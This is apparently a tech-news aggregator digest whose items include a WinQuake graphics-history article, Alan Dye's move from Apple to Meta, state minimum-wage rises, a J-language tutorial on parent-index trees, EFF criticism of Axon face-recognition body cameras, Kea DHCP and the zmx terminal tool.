    Although safer and more reliable, Microsoft Windows imposed many restrictions on applications. One result of this situation was that games, and other high-performance graphics applications, could no longer access the hardware resources directly in order to maximize performance and expand functionalities. For several years game programmers continued to exercise the craft in DOS, and Windows users had to switch to the DOS mode to run games, simulations, and other graphics programs. The resulting situation implied a major contradiction: a graphical operating system in which graphics applications would execute with marginal performance

    The first effort in this direction was a product named WinG, in reference to Windows for Games. WinG was first made available in 1994 and it required Win32 in Windows 3.1. Its main feature is that WinG enabled the game programmer to rapidly transfer bitmaps from system memory into video memory. This made possible the creation of Windows games that executed with much better performance.

    Microsoft renamed the new version of the Game SDK, calling it DirectX 2. Other versions later released were named DirectX 3, DirectX 5, DirectX 6, and currently, DirectX 7.

    - Feng Yuan, "Windows Graphics Programming Win32 GDI and DirectDraw"

    In terms of performance, DirectDraw was a step up from GDI but it was also not guaranteed to work due to driver bugs or if the user had not installed DirectX. It can be disabled with nodirectdraw .

    WinDirect video system


    Readers may have picked up on something written earlier that was blatantly wrong. Direct access to the hardware is forbidden to Win32 applications. So how is MGL able to bypass GDI/DirectDraw and directly hit VBEAF, VBE, and VGA?

    That is possible thanks to the secret tech from SciTech called WinDirect. How it works is explained in SciTech MGL Reference Guide v4.pdf .

    What is WinDirect?

    A key component of the SciTech MGL, WinDirect is a runtime package for DOS and Windows 95 that provides direct access to the display hardware for both 16 and 32-bit applications. Traditionally Windows applications have had to perform all graphics output using the standard Graphics Device Interface (GDI). Although the GDI is very extensive and powerful, it is also not particularly fast for the sort of graphics that real time applications like interactive video games require.

    WinDirect breaks this barrier by allowing high performance applications to shut down the normal GDI interface, and to take over the entire graphics display hardware just like you would normally do under DOS. Once GDI has been shut down, interactive graphics applications can re-program the display controller and write directly to video memory. A WinDirect application can program any standard VGA graphics mode such as 320x200x256, it can re-program the controller and run standard VGA ModeX style graphics, or it can call the standard VESA BIOS services to run high resolution SuperVGA graphics.

    - MGL v4 Programmer Guide [3]

    MGL v4 programmer guide , is a treasure strove of information. If, like me, you wondered what were these WDIR32.DLL and WDIR16.DLL libraries that came with WinQuake, the doc mentions them ( W in DIR ect). Likewise, the doc describes PMPRO16.DLL and PMPRO32.DLL as DOS extender independent API for protected mode services . Michael Abrash's Zen Timer is also mentioned in there :)!

    WinQuake source code does not include MGL. Only the headers and a pre-compiled 32-bit MGLLT.LIB (MGL Lite) are provided to allow compilation. SciTech did eventually publish the source in 2000 [4] but it is no longer available . What was uploaded on GitHub [5] is v5 which by then had dramatically changed (e.g: WinDirect was gone).

    Luckily a kind soul has mirrored MGL v4 . If you want to do your own digging, install mglb405.exe and mgls405.exe. Or just download my installation, src.rar .

    Putting it all together


    Overall, winquake.exe was often able to find a fast rendering path, either through DirectDraw or WinDirect. The fallback to DIB mode was not ideal but still a win compared to quake.exe . Add to that the ability to select a sound backend to optimize for framerate or audio latency and the result was a damn good experience that completely justified the effort.

    More than 30 years later, you can still run winquake.exe on Windows 11. Fullscreen does not support widescreen but the windowed mode still works flawlessly. As much as Microsoft has been questionable lately, their commitment to backward compatibility is impressive.

    References


    ^ [1] Why did ID choose DJGPP for Quake?
    ^ [2] SciTech's MGL price
    ^ [3] MGL v4 Programmer Guide
    ^ [4] SciTech Releases MGL 4.0 OpenGL Source Code
    ^ [5] SciTech Mult-platform Graphics Library


    *

    Apple’s head of user interface design, Alan Dye, will join Meta

    Hacker News
    www.cnbc.com
    2025-12-04 01:53:57
    Comments...
    Original Article

    File: Then Apple Creative Director Alan Dye celebrates the launch of the July Issue at the new WIRED office on June 24, 2015 in San Francisco, California.

    Kimberly White | Getty Images

    Apple 's head of user interface design, Alan Dye, will join Meta , in a notable shift of executive talent in Silicon Valley.

    The iPhone maker confirmed Dye's departure on Wednesday and Apple CEO Tim Cook said in a statement that the company prioritizes design and has a strong team. The statement said that veteran designer Stephen Lemay will succeed Dye.

    "Steve Lemay has played a key role in the design of every major Apple interface since 1999," Cook said in a statement.

    Meta CEO Mark Zuckerberg in a Wednesday social media post said that Dye would lead up a new creative studio that brings together design, fashion and technology.

    "We plan to elevate design within Meta," wrote Zuckerberg, who did not say what specific products Dye will work on.

    Compared to other Silicon Valley companies, Apple has always emphasized design to customers and investors as one of its strengths. Apple prominently features its design executives to discuss interface changes at the company's launch events.

    In June, Dye revealed a redesign of Apple's software interface for iPhones, Macs and the Apple Watch called Liquid Glass. The company described it as an "elegant" new design with translucent buttons, updated app icons and fluid animations.

    Dye said it was the "next chapter" of the company's software and said it "sets the stage" for the next era of Apple products.

    "Our new design blurs the lines between hardware and software to create an experience that's more delightful than ever while still familiar and easy to use," Dye said at the launch.

    Reviews were mixed on the Liquid Glass update , which shipped with new iPhones in September.

    Apple announces liquid glass during the Apple Worldwide Developers Conference (WWDC) on June 9, 2025 in Cupertino, California.

    Justin Sullivan | Getty Images

    For years, Apple design was embodied by executive Jony Ive, who left Apple in 2019 and is now working with OpenAI on artificial intelligence hardware alongside Sam Altman.

    Dye took over user interface design and became one of the design studio's leads in 2015 when Ive stepped back from a day-to-day role. Dye started at Apple in 2006 and worked on software for the iPhone, iPad, Mac, Apple Watch, Apple TV and Vision Pro, according to his LinkedIn profile .

    He was also partly responsible for the first iPhone in 2017 that did away with the home screen button at the bottom of the device and replaced it with a software-based swipe-up motion.

    Meta has said in recent years that it wants to be a major developer of hardware and Zuckerberg has said Apple is one of his company's biggest competitors.

    The social media company currently makes several virtual reality headsets under its Quest brand, and recently scored its first hardware hit with Ray-Ban Meta smart glasses, which are stylish sunglasses equipped with cameras and the ability to run an AI model that can answer questions. Sales of the device tripled over the past year, Ray-Ban parent company EssilorLuxottica said in July .

    "We're entering a new era where AI glasses and other devices will change how we connect with technology and each other," Zuckerberg wrote.

    Bloomberg first reported the move .

    WATCH: Apple AI chief steps down: Here's what to know

    Apple AI chief steps down: Here's what to know

    Cro provides commentary on LWN's Zig asynchronicity article

    Linux Weekly News
    lwn.net
    2025-12-04 00:44:38
    Loris Cro has published a detailed YouTube video talking about the terminology used to discuss asynchronicity, concurrency, and parallelism in our recent article about Zig's new Io interface. Our article is not completely clear because it uses the term "asynchronous I/O" to refer to what should re...
    Original Article

    Loris Cro has published a detailed YouTube video talking about the terminology used to discuss asynchronicity, concurrency, and parallelism in our recent article about Zig's new Io interface. Our article is not completely clear because it uses the term "asynchronous I/O " to refer to what should really be called "non-blocking I/O ", and sometimes confuses asynchronicity for concurrency, among other errors of terminology, he says. Readers interested in precise details about Zig's approach and some of the motivation behind the design may find Cro's video interesting.



    Dozens of Cities, States Hiking Minimum Wages in 2026 Amid Federal Inaction

    Portside
    portside.org
    2025-12-04 00:31:52
    Dozens of Cities, States Hiking Minimum Wages in 2026 Amid Federal Inaction Ray Wed, 12/03/2025 - 19:31 ...
    Original Article

    The minimum wage for workers will increase in 19 states and 49 cities and counties next month, with the wage floor reaching $15 per hour in dozens of localities, a new report found.

    Though the federal minimum wage of $7.25 per hour has not increased since 2009, many state and local governments continue to increase minimums through legislation or scheduled increases tied to inflation.

    An annual report from the National Employment Law Project, a nonprofit advocating for workers’ rights, found that 88 jurisdictions will raise their minimum wages by the end of 2026.

    In January, Nebraska’s minimum wage will increase from $13.50 to $15 per hour, while Rhode Island will see an increase from $15 to $16 per hour.

    All workers in Denver will see the minimum wage increase from $18.81 to $19.29 in January and the minimum in Flagstaff, Arizona, will increase from $17.85 to $18.35 per hour.

    The increases come as rising costs of housing, food and utilities are pinching more workers across the country, said Yannet Lathrop, senior researcher and policy analyst at the National Employment Law Project who authored the report. Those costs are particularly challenging for lower-income workers, who are most likely to be affected by minimum wage changes.

    “They are really struggling right now,” she said. “These wages basically mitigate the effects of inflation, the effects of the rising cost of living, and the difficulties so many people are having paying for basics, for food, for housing, for medicine — just the basics of life.”


    The minimum wage for workers will increase in 19 states and 49 cities and counties next month, with the wage floor reaching $15 per hour in dozens of localities, a new report found.

    Though the federal minimum wage of $7.25 per hour has not increased since 2009, many state and local governments continue to increase minimums through legislation or scheduled increases tied to inflation.

    An annual report from the National Employment Law Project, a nonprofit advocating for workers’ rights, found that 88 jurisdictions will raise their minimum wages by the end of 2026.

    In January, Nebraska’s minimum wage will increase from $13.50 to $15 per hour, while Rhode Island will see an increase from $15 to $16 per hour.

    All workers in Denver will see the minimum wage increase from $18.81 to $19.29 in January and the minimum in Flagstaff, Arizona, will increase from $17.85 to $18.35 per hour.

    The increases come as rising costs of housing, food and utilities are pinching more workers across the country, said Yannet Lathrop, senior researcher and policy analyst at the National Employment Law Project who authored the report. Those costs are particularly challenging for lower-income workers, who are most likely to be affected by minimum wage changes.

    “They are really struggling right now,” she said. “These wages basically mitigate the effects of inflation, the effects of the rising cost of living, and the difficulties so many people are having paying for basics, for food, for housing, for medicine — just the basics of life.”

    Lathrop said research increasingly finds that higher wages improve educational outcomes, mental and physical health.

    “Things that are going to benefit not just the workers, but also the communities and society as a whole,” she said. “I think that’s an important thing to keep in mind.”

    Inflation has significantly eroded the buying power of the federal minimum wage since 2009.

    Advocates say raising the wage floor helps low-wage workers cover the rising cost of essentials and boosts the economy by putting more money into the pockets of people who are likely to spend it. But many employers, especially small businesses, argue that raising the minimum wage forces them to cut workers or raise prices.

    In Rhode Island, lawmakers this year proposed legislation that would raise the minimum wage $1 per year, culminating with a $20 per hour minimum in 2030. But backlash from business groups and economic uncertainty led the Democratic sponsor to successfully push for a “more measured approach” that includes hikes for the next two years rather than five, reaching a $17 hourly minimum by 2027.

    That compromise didn’t persuade Republican opponents, who said even the more modest minimum wage change will force layoffs and consumer price hikes.

    “The real minimum wage is $0,” said state House Minority Whip David Place, according to the Rhode Island Current. “That’s what they make when they get fired because business can’t afford to keep them.”

    The minimum wage remains stagnant at $7.25 in 20 states, according to the National Employment Law Project. Those are primarily conservative-led states including Alabama, Iowa, Texas and Wyoming.

    Last year, Missouri voters approved a ballot measure ensuring paid sick leave and boosting the minimum wage to $15 per hour, with future increases tied to inflation.

    But Republican lawmakers took aim at the changes in Jefferson City this year.

    In a move Democrats called “absolute disdain” for workers, GOP lawmakers passed a bill repealing the paid sick leave provision and nixing the annual minimum wage increases tied to inflation. Missouri’s current $13.75 minimum wage will still rise to $15 next month but is no longer subject to future increases.

    “Today, we are protecting the people who make Missouri work—families, job creators, and small business owners—by cutting taxes, rolling back overreach, and eliminating costly mandates,” Republican Gov. Mike Kehoe said in a July statement when he signed the bill into law.

    Stateline reporter Kevin Hardy can be reached at khardy@stateline.org .

    Trees - J Wiki

    Lobsters
    code.jsoftware.com
    2025-12-04 00:23:30
    an exposition on the great utility of using the parent-index method of representing trees in J. This is similar, but with K and less comprehensive: https://github.com/JohnEarnest/ok/blob/gh-pages/docs/Trees.md Comments...
    Original Article

    Here's an exposition of one method for representing trees in J.

    Parent Index Vector

    The tree is a vector of integers where each element is the index of the parent node but with _1 for the root's parent. This is handy for modeling directory trees and it works well for that.

    Say we have a directory tree like this:

    C:
    |__n0
    |   |_n00
    |   |_n01
    |
    |__n1
        |__n10
        |   |__n100
        |__n11
        |   |__n110
        |   |__n111
        |   |__n112
        |__n12
    

    We typically separate the tree structure from the corresponding vector of nodes which, in this case, are the directory or file names.

    For example, we can translate the above tree as follows using breadth-first ordering:

       nmsb=. 'C:';'n0';'n1';'n00';'n01';'n10';'n11';'n12';'n100';'n110';'n111';'n112'
       trb=. _1    0    0    1     1     2      2     2     5      6      6      6
    

    We can also translate it using depth-first ordering:

       nmsd=. 'C:';'n0';'n00';'n01';'n1';'n10';'n100';'n11';'n110';'n111';'n112';'n12'
       trd=.  _1   0    1     1     0    4     5      4     7      7      7      4
    

    Whichever we choose is not functionally significant: all the following code works the same on either version. This representation of trees is good for looking up an item and locating its parent, or joining sub-trees into a larger tree. By "good", we mean simple to code and fast-running.

    Basic Navigation

    Here are some basic verbs with examples of using them.

       whChild=: [: I. [ e. ]     NB.* whChild: where are children of x in tree y
       whRoot=: [:I. _1=]         NB.* whRoot: where roots are in tree y
       nextLevel=: [ whChild ]    NB.* nextLevel: indexes of descendants of x in tree y
       whParent=: _1-.~]{[        NB.* whParent: index of parent; _1 means no parent.
       whLeaves=: [: I. [: -. ] e.~ [: i.#     NB.* whLeaves: indexes into tree of leaf nodes.
    
       trb whChild whRoot trb     NB. Indexes of children of root
    1 2
       trd whChild whRoot trd     NB. Indexes of children of root on depth-first version
    1 4
    

    Though the numbers differ, they refer to the same items in each case:

       nmsb{~trb whChild whRoot trb NB. Children of root using breadth-first
    +--+--+
    |n0|n1|
    +--+--+
       nmsd{~trd whChild whRoot trd NB. Depth-first
    +--+--+
    |n0|n1|
    +--+--+
    

    Here we see how to generalize moving to levels further down the tree using the power conjunction " ^: ".

       trb nextLevel whRoot trb                NB. Next level down from root
    1 2
       trb nextLevel trb nextLevel whRoot trb  NB. two levels down
    3 4 5 6 7
       trb nextLevel^:2 ] whRoot trb           NB. two levels down
    3 4 5 6 7
    

    Grafting

    Now let's graft a new tree onto an existing one:

       newnms=. 'new0';'new01';'new02';'new010';'new011';'new020';'new021'
       newtree=. _1     0       0       1        1        2        2
       #&>newtree;<newnms    NB. Sanity check
    7 7
    
    graftRoot=: 3 : 0
       'ot jn nt'=. y        NB. old tree;join-node;new tree
       ot,(_1=nt)}(nt+#ot),:jn
    )
    
       graftRoot trb;(nmsb i. <'n0');newtree     NB. Graft new branches to "n0" node
    _1 0 0 1 1 2 2 2 5 6 6 6 1 12 12 13 13 14 14
       #newtr2=. graftRoot trb;(nmsb i. <'n0');newtree
    19
       #newnms2=. nmsb,newnms
    19
       trb nextLevel^:1 ] whRoot trb
    1 2
       newnms2{~newtr2 nextLevel^:1 ] whRoot newtr2
    +--+--+
    |n0|n1|
    +--+--+
       newnms2{~newtr2 nextLevel^:2 ] whRoot newtr2
    +---+---+---+---+---+----+
    |n00|n01|n10|n11|n12|new0|
    +---+---+---+---+---+----+
       newnms2{~newtr2 nextLevel^:3 ] whRoot newtr2
    +----+----+----+----+-----+-----+
    |n100|n110|n111|n112|new01|new02|
    +----+----+----+----+-----+-----+
       newnms2{~newtr2 nextLevel^:4 ] whRoot newtr2
    +------+------+------+------+
    |new010|new011|new020|new021|
    +------+------+------+------+
       newnms2{~newtr2 nextLevel^:5 ] whRoot newtr2  NB. No fifth level
    

    We can also display a high-level image of the grafted result .

    Validity Checking

    This representation of trees allows multiple root nodes - which is called a "forest" - and can represent closed loops, which are invalid as trees. Since invalid representations are possible, it may behoove us to check if a given tree is valid. We can do this in the following way.

    NB.* verifyTree: check that tree has >:1 root, no cycles, no unreachable nodes:
    NB. 0 for bad node, 1 for good one.
    verifyTree=: 3 : 0
       cc=. 0$~#y                 NB. Cycle counter
       nli=. whRoot y             NB. Next level indexes: start at root(s)
       cc=. (1+nli{cc) nli}cc     NB. Count # visits to node
       while. (0<#nli) *. 1=>./cc do.
           nli=. y nextLevel nli
           cc=. (1+nli{cc) nli}cc NB. Count # visits to node
       end.
      cc *. -.(_1=y) *. 1<+/_1= y    NB. Dis-allow forests
    NB.EG (1 0;0 0;1 0 0) -: verifyTree &.> _1 1; 0 1; _1 2 1  NB. bad ones
    NB.EG (1 1 1;1 1 1 1) -: verifyTree &.> _1 0 1; _1 0 _1 2  NB. good ones
    NB.EG (0 0;0 1 0 1) -: verifyTree &.> _1 _1; _1 0 _1 2     NB. bad ones, multi-root
    )
    

    The "EG" comments at the end give examples of use and the results expected: each phrase should return a single "1" indicating the results match the outputs. The three initial bad trees fail verification (indicated by zeros corresponding to bad nodes) because the first one is cyclical because it has a node that is its own parent, the second one is cyclical and has no root, and the third has a cycle between 1 and 2.

    Notice that we choose to treat multi-rooted trees as invalid only with the final condition. This is an arbitrary choice. Similarly, our exclusion of cycles is arbitrary as well. We could just as well allow forests or cycles if we wanted to generalize beyond trees to graphs of some kind. However, this "parent index" scheme would allow for only a limited subset of graphs, so is not a good choice to represent more general graphs.

    Grafting, Pruning, and Displaying

    We use the "tree" routine to display trees to illustrate the changes we can make by pruning and grafting nodes from one part of a tree to another.

    To convert initial tree to the following, first split off the "n0" branch:

       'trb0 nms0 trb1 nms1'=. ;0 1 pruneB &.><(nmsb i. <'n0');trb;<nmsb
       trb0                       NB. Tree without pruned branch
    _1 0 1 1 1 2 3 3 3
       nms0
    +--+--+---+---+---+----+----+----+----+
    |C:|n1|n10|n11|n12|n100|n110|n111|n112|
    +--+--+---+---+---+----+----+----+----+
       trb1                       NB. Pruned branch
    _1 0 0
       nms1
    +--+---+---+
    |n0|n00|n01|
    +--+---+---+
       nms=. nms0,nms1                                NB. All names for new combined tree
       tr=. graftRoot trb0;(nms0 i. <'n100');trb1     NB. Tree with pruned branch grafted to "n100" node.
    

    Pruned branch re-attached in different place:

       tree }.nms,.~tr{nms		      
    +-------------------------------------------+
    |                                     ┌─ n00|  NB. We see the "n0" node moved from
    |             ┌─ n10 ─── n100 ─── n0 ─┴─ n01|  NB. the root to node "n100".
    |             │       ┌─ n110               |
    |─ C: ─── n1 ─┼─ n11 ─┼─ n111               |
    |             │       └─ n112               |
    |             └─ n12                        |
    +-------------------------------------------+
    

    Original tree from above:

       tree }.nmsb,.~trb{nmsb
    +----------------------------+
    |             ┌─ n00         |
    |      ┌─ n0 ─┴─ n01         |
    |      │      ┌─ n10 ─── n100|
    |─ C: ─┤      │       ┌─ n110|
    |      └─ n1 ─┼─ n11 ─┼─ n111|
    |             │       └─ n112|
    |             └─ n12         |
    +----------------------------+
    

    Using "Tree Display"

    There's an existing utility to display a tree in a printable format. To use this utility, we must convert our "parent index" form to one in which edges are listed as point pairs. One way to do this is shown as follows.

       trb=. _1 0 0 1 1 2 2 2 5 6 6 6
       |:]t1b=. }.(i.#trb),.~trb      NB. Assume root is at start (hence }.)
    0 0 1 1 2 2 2 5 6  6  6
    1 2 3 4 5 6 7 8 9 10 11
    
       tree t1b
    +----------------------+
    |           +- 3       |
    |     +- 1 -+- 4       |
    |     |     +- 5 --- 8 |
    |- 0 -+     |     +- 9 |
    |     +- 2 -+- 6 -+- 10|
    |           |     +- 11|
    |           +- 7       |
    +----------------------+
    
       9!:6
    +++++++++|-           NB. Simple ASCII characters for box-drawing
       11{.16}.a.
    ┌┬┐├┼┤└┴┘│─
       EW=. {:BOXC=. 11{.16}.a.        NB. Box-drawing characters: globals used by "tree"
    
       trd=. _1 0 1 1 0 4 5 4 7 7 7 4  NB. Depth-first version of tree
       |:]t1d=. }.(i.#trd),.~trd
    0 1 1 0 4 5 4 7 7  7  4
    1 2 3 4 5 6 7 8 9 10 11
    
       tree t1d
    ┌──────────────────────┐
    │           ┌─ 2       │
    │     ┌─ 1 ─┴─ 3       │
    │     │     ┌─ 5 ─── 6 │
    │─ 0 ─┤     │     ┌─ 8 │
    │     └─ 4 ─┼─ 7 ─┼─ 9 │
    │           │     └─ 10│
    │           └─ 11      │
    └──────────────────────┘
    

    That this latter representation, based on the depth-first ordered tree, is the same as the former one can be see if we insert the node names to illuminate the correspondence between the indexes of the two tree representations.

       nmsd=. 'C:';'n0';'n00';'n01';'n1';'n10';'n100';'n11';'n110';'n111';'n112';'n12'
       nmsb=. 'C:';'n0';'n1';'n00';'n01';'n10';'n11';'n12';'n100';'n110';'n111';'n112'
    
       tree (}.trd{nmsd),.}.nmsd   NB. depth-first
    ┌────────────────────────────┐
    │             ┌─ n00         │
    │      ┌─ n0 ─┴─ n01         │
    │      │      ┌─ n10 ─── n100│
    │─ C: ─┤      │       ┌─ n110│
    │      └─ n1 ─┼─ n11 ─┼─ n111│
    │             │       └─ n112│
    │             └─ n12         │
    └────────────────────────────┘
       tree (}.trb{nmsb),.}.nmsb    NB. Do the same with the breadth-first version.
    ┌────────────────────────────┐
    │             ┌─ n00         │
    │      ┌─ n0 ─┴─ n01         │
    │      │      ┌─ n10 ─── n100│
    │─ C: ─┤      │       ┌─ n110│
    │      └─ n1 ─┼─ n11 ─┼─ n111│
    │             │       └─ n112│
    │             └─ n12         │
    └────────────────────────────┘
    
    

    We can do this to see our grafted tree example from above.

       tree (}.newtr2{newnms2),.}.newnms2
    ┌─────────────────────────────────────────┐
    │             ┌─ n00                      │
    │             ├─ n01                      │
    │      ┌─ n0 ─┤                  ┌─ new010│
    │      │      │        ┌─ new01 ─┴─ new011│
    │      │      └─ new0 ─┤         ┌─ new020│
    │─ C: ─┤               └─ new02 ─┴─ new021│
    │      │      ┌─ n10 ──── n100            │
    │      │      │        ┌─ n110            │
    │      └─ n1 ─┼─ n11 ──┼─ n111            │
    │             │        └─ n112            │
    │             └─ n12                      │
    └─────────────────────────────────────────┘
    

    Code

    The code so far is here. This file also includes a copy of the display tree code mentioned above for "one-stop-shopping".

    [$] LWN.net Weekly Edition for December 4, 2025

    Linux Weekly News
    lwn.net
    2025-12-04 00:10:23
    Inside this week's LWN.net Weekly Edition: Front: Rust in Debian; Python comprehensions; asynchronous Zig; BPF and io_uring; C safety; 6.18 statistics; just. Briefs: Landlock; Let's Encrypt lifetimes; Last 5.4 kernel; TAB election; AlmaLinux 10.1; FreeBSD 15.0; NixOS ...
    Original Article

    The page you have tried to view ( LWN.net Weekly Edition for December 4, 2025 ) is currently available to LWN subscribers only.

    Reader subscriptions are a necessary way to fund the continued existence of LWN and the quality of its content.

    If you are already an LWN.net subscriber, please log in with the form below to read this content.

    Please consider subscribing to LWN . An LWN subscription provides numerous benefits, including access to restricted content and the warm feeling of knowing that you are helping to keep LWN alive.

    (Alternatively, this item will become freely available on December 11, 2025)

    Average DRAM price in USD over last 18 months

    Hacker News
    pcpartpicker.com
    2025-12-04 00:08:26
    Comments...

    Axon Tests Face Recognition on Body-Worn Cameras

    Electronic Frontier Foundation
    www.eff.org
    2025-12-04 00:00:00
    Axon Enterprise Inc. is working with a Canadian police department to test the addition of face recognition technology (FRT) to its body-worn cameras (BWCs). This is an alarming development in government surveillance that should put communities everywhere on alert.  As many as 50 officers from the E...
    Original Article

    Axon Enterprise Inc. is working with a Canadian police department to test the addition of face recognition technology (FRT) to its body-worn cameras ( BWCs ). This is an alarming development in government surveillance that should put communities everywhere on alert.

    As many as 50 officers from the Edmonton Police Department (EPD) will begin using these FRT-enabled BWCs today as part of a proof-of-concept experiment. EPD is the first police department in the world to use these Axon devices, according to a report from the Edmonton Journal .

    This kind of technology could give officers instant identification of any person that crosses their path. During the current trial period, the Edmonton officers will not be notified in the field of an individual’s identity but will review identifications generated by the BWCs later on.

    “This Proof of Concept will test the technology’s ability to work with our database to make officers aware of individuals with safety flags and cautions from previous interactions,” as well as “individuals who have outstanding warrants for serious crime,” Edmonton Police described in a press release , suggesting that individuals will be placed on a watchlist of sorts.

    FRT brings a rash of problems. It relies on extensive surveillance and collecting images on individuals, law-abiding or otherwise. Misidentifications can cause horrendous consequences for individuals, including prolonged and difficult fights for innocence and unfair incarceration for crimes never committed. In a world where police are using real-time face recognition, law-abiding individuals or those participating in legal, protected activity that police may find objectionable — like protest — could be quickly identified.

    With the increasing connections being made between disparate data sources about nearly every person, BWCs enabled with FRT can easily connect a person minding their own business, who happens to come within view of a police officer, with a whole slew of other personal information.

    Axon had previously claimed it would pause the addition of face recognition to its tools due to concerns raised in 2019 by the company’s AI and Policing Technology Ethics Board. However, since then, the company has continued to research and consider the addition of FRT to its products.

    This BWC-FRT integration signals possible other FRT integrations in the future. Axon is building an entire arsenal of cameras and surveillance devices for law enforcement, and the company grows the reach of its police surveillance apparatus, in part, by leveraging relationships with its thousands of customers, including those using its flagship product, the Taser . This so-called “ecosystem” of surveillance technology q includes the Fusus system , a platform for connecting surveillance cameras to facilitate real-time viewing of video footage. It also involves expanding the use of surveillance tools like BWCs and the flying cameras of “drone as first responder” (DFR) programs .

    Face recognition undermines individual privacy, and it is too dangerous when deployed by police. Communities everywhere must move to protect themselves and safeguard their civil liberties, insisting on transparency, clear policies, public accountability, and audit mechanisms. Ideally, communities should ban police use of the technology altogether. At a minimum, police must not add FRT to BWCs .

    Kea DHCP: Modern, open source DHCPv4 and DHCPv6 server

    Hacker News
    www.isc.org
    2025-12-03 23:58:04
    Comments...
    Original Article

    Modern, open source DHCPv4 & DHCPv6 server

    Why Choose Kea?

    ISC distributes TWO full-featured, open source, standards-based DHCP server distributions: Kea DHCP and ISC DHCP. Kea includes all the most-requested features, is far newer, and is designed for a more modern network environment. ISC announced the End of Life for the older ISC DHCP system in 2022. Users of ISC DHCP may find these resources helpful in migrating their DHCP server deployments to the Kea server.

    How is the Kea DHCP server different from the older ISC DHCP?
    1. Modular Component Design, Extensible with Hooks Modules. The Kea distribution includes separate daemons for a DHCPv4 server, a DHCPv6 server, and a dynamic DNS (DDNS) module. Many optional features are enabled with dynamically-loaded “Hooks Modules,” which you need run only if you are using them. You can write your own hooks modules (in C++) or try some of the hooks we offer.

    2. On-line Re-configuration with REST API. Kea uses a JSON configuration file that can be modified remotely via set commands and reloaded without stopping and restarting the server, an operation that could take quite a while with ISC DHCP.

    3. Designed to Integrate with Your Existing Systems. Kea allows you to separate the data from the execution environment, enabling new deployment options. Your network data - leases, host reservation definitions, and most configuration data - can be located separately from the DHCP server itself, using a Kea “backend.”

    Kea supports two database backends; MySQL and PostgreSQL. Besides the obvious benefits (you avoid JSON formatting errors, you can quickly and easily mine the data for other purposes) using a database backend enables multiple Kea servers to share the data. Potential benefits:

    • A shared lease database can provide an alternative strategy for resilience. (See this Kea HA strategies comparison )
    • A host reservation database, used with the Host_Cmds hook, allows remote management of host reservations via Stork, and permits multiple Kea servers to use a shared host reservations database.
    • A configuration database, while currently not supported by Stork, allows use of some configuration elements, such as subnets, across multiple Kea servers. This can make it much easier to add new Kea servers.
    1. Web-based graphical dashboard. Kea now has a graphical dashboard for monitoring multiple Kea servers. This system, called Stork, uses agents deployed on the Kea servers to relay information to a centralized management platform, providing the administrator with an easy-to-use quick view of system status and activity.

    2. Modern, higher performance implementation. Kea is multi-threaded, and when configured for efficient operation , it can be performant enough for a large-scale, short-lease duration environment, which is the most demanding scenario.

    The core Kea daemons are open source, shared under MPL2.0 licensing. Kea is developed in the open on ISC’s GitLab ; we welcome you to open issues and submit patches there. Kea runs on most Linux and Unix platforms, as well as MacOS. If you don’t want to build from our source distribution, we also provide a repository of pre-built packages for most popular operating systems.

    Contact ISC for Support

    Getting Started

    1.

    Design

    Your major design decisions are whether to deploy in pairs for High Availability and use the default csv file for host and lease data, or to install a separate database for a Kea data “backend.” Some of these decisions can limit your performance. See our Knowledgebase for advice on designing for optimal performance .

    3.

    Configuration

    The Kea Administrator Reference Manual (ARM) is the primary reference for Kea configuration. The extensive set of example configuration files in the project repo and our knowledgebase may help you get started. If you are migrating from an existing ISC DHCP deployment, try the Kea Migration Assistant (a special feature of the ISC DHCP distribution). This will enable you to save your current ISC DHCP server configuration as a Kea configuration file. It will still need some manual adjustment, but this tool should translate the bulk of your configuration.

    4.

    Maintenance

    Most users will benefit from joining the kea-users mailing list. Consider joining our Kea project GitLab to log issues, see what we’re working on, submit patches, and participate in development. Consider deploying Stork for a graphical management dashboard. If your DHCP is critical to your business, we recommend you subscribe for technical support from ISC .

    screenshot of stork graphical web-based management tool for Kea, showing a list of subnets and their utilization, monitored servers and their current uptime status

    Stork Dashboard for Kea

    Monitor both the machine and the application

    Stork aggregates data about the health of the system hosting Kea, as well as the status and activity level of Kea itself. Parameters reported include memory, CPU utilization, software versions, and uptime.

    Monitor Pool Utilization and High Availability

    Stork displays configured pools, with # of addresses provisioned and assigned and even tracks pool utilization across shared networks. Graphical elements highlight areas of high utilization to alert the operator to take actionHigh Availability pairs are monitored and their configured role and status are shown, making it easy to see which servers don’t have a backup established, and when a failover event has occurred.

    Manage Host Reservations

    Add, update and view DHCPv4 and DHCPv6 host reservations, using a graphical interface to select a host identifier, assign a hostname, reserve an IP address, associate a client class, and configure boot file information and DHCP options.

    Support options

    Kea

    VERSION STATUS DOCUMENTATION RELEASE DATE EOL DATE DOWNLOAD
    3.0.2 Current Stable - LTS Kea ARM ( HTML PDF )
    Kea Messages ( HTML PDF )
    Release Notes ( TXT )
    October 2025 June 2028
    2.6.4 Current Stable Kea ARM ( HTML PDF )
    Kea Messages ( HTML PDF )
    Release Notes ( TXT )
    July 2025 July 2026
    3.1.4 Development Kea ARM ( HTML PDF )
    Kea Messages ( HTML PDF )
    Release Notes ( TXT )
    November 2025 June 2026

    Stork

    VERSION STATUS DOCUMENTATION RELEASE DATE EOL DATE DOWNLOAD
    2.2.1 Current Stable Stork ARM ( HTML )
    Release Notes ( TXT )
    September 2025 Q1, 2026
    2.3.1 Development Stork ARM ( HTML )
    Release Notes ( TXT )
    October 2025 Q4, 2025

    Latest News

    Mailing List

    Join the kea-users mailing list to offer help to or receive advice from other users.

    Join Now

    Report a Bug

    Before submitting a bug report please ensure that you are running a current version. Then log your report as an issue in our Kea GitLab project.

    Report

    Kea Project Wiki

    Our design documents and plans help you understand Kea internals.

    Browse

    Zmx: Session Persistence for Terminal Processes

    Hacker News
    github.com
    2025-12-03 23:46:30
    Comments...
    Original Article

    zmx

    session persistence for terminal processes

    Reason for this tool: You might not need tmux

    features

    • Persist terminal shell sessions (pty processes)
    • Ability to attach and detach from a shell session without killing it
    • Native terminal scrollback
    • Multiple clients can connect to the same session
    • Re-attaching to a session restores previous terminal state and output
    • Works on mac and linux
    • This project does NOT provide windows, tabs, or splits

    install

    • Requires zig v0.15
    • Clone the repo
    • Run build cmd
    zig build -Doptimize=ReleaseSafe --prefix ~/.local
    # be sure to add ~/.local/bin to your PATH

    usage

    Important

    Press ctrl+\ to detach from the session.

    Usage: zmx <command> [args]
    
    Commands:
      [a]ttach <name> [command...]  Create or attach to a session
      [d]etach                      Detach all clients from current session  (ctrl+\ for current client)
      [l]ist                        List active sessions
      [k]ill <name>                 Kill a session and all attached clients
      [h]elp                        Show this help message
    

    examples

    zmx attach dev              # start a shell session
    zmx attach dev nvim .       # start nvim in a persistent session
